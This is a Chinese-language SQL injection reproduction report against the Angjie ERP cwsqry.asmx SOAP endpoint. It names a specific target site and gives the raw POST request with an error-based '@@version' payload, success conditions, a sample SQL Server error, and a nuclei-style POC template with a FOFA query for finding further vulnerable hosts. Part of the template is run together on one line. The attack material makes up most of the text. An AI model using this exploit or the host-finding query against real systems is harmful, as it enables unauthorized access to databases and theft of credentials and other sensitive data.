## 昂捷ERP SQL注入漏洞复现报告（已确认存在）

目标URL：http://djoutlets.cn/EnjoyRMIS\_WS/WS/ReportTool/cwsqry.asmx

### 复现步骤：

使用Burp Suite或Postman发送以下POST请求：

POST /EnjoyRMIS\_WS/WS/ReportTool/cwsqry.asmx HTTP/1.1  
Connection: keep-alive  
SOAPAction: "http://tempuri.org/GetDictionary"  
Content-Type: text/xml;charset=UTF-8  
Host: djoutlets.cn  
Content-Length: 327  
  
1'and 1=@@version--

验证漏洞存在条件：

* 响应状态码必须为**500**
* 响应正文中必须同时包含以下特征字符串：
* Microsoft
* nvarchar

### 漏洞验证示例：

当发送上述请求后，若返回类似以下错误响应则证明漏洞存在：

System.Data.SqlClient.SqlException: 指令预期。  
位置 10。  
Microsoft SQL Server 2019 (RTM-CU14) (KB5026268) 版本 15.0.4198.4 (x64)   
开发人员版本 ...   
nvarchar(128)...

### 漏洞影响：

该SQL注入漏洞可被利用获取数据库敏感信息，包括但不限于数据库版本、表结构、用户凭证等，建议立即修复。

注：本报告基于已确认的漏洞状态编写，复现过程中请确保符合目标系统的授权范围。

复现POC如下

id: angjie\_erp\_cwsqry\_sqli  
  
info:  
 name: angjie\_erp\_cwsqry\_sqli  
 author: bugscanner  
 severity: critical  
 metadata:  
 vulnsystem: 昂捷ERP cwsapprove接口  
 uploaduri: /EnjoyRMIS\_WS/WS/ReportTool/cwsqry.asmx  
 vulntype: SQL注入  
 otherinfo: sql注入演示获取数据库名  
 fofasearch: body="/Scripts/EnjoyMsg.js"  
  
http:  
 - raw:  
 - |  
 POST /EnjoyRMIS\_WS/WS/ReportTool/cwsqry.asmx HTTP/1.1  
 Connection: keep-alive  
 SOAPAction: http://tempuri.org/GetDictionary  
 Content-Type: text/xml;charset=UTF-8  
 Host:   
 Content-Length: 327type: string1'and 1=@@version--matchers:   
 - type: dsl  
 condition: and  
 dsl:  
 - status\_code == 500 && contains\_all(body, 'nvarchar') && contains\_all(body, 'Microsoft')

复现截图：

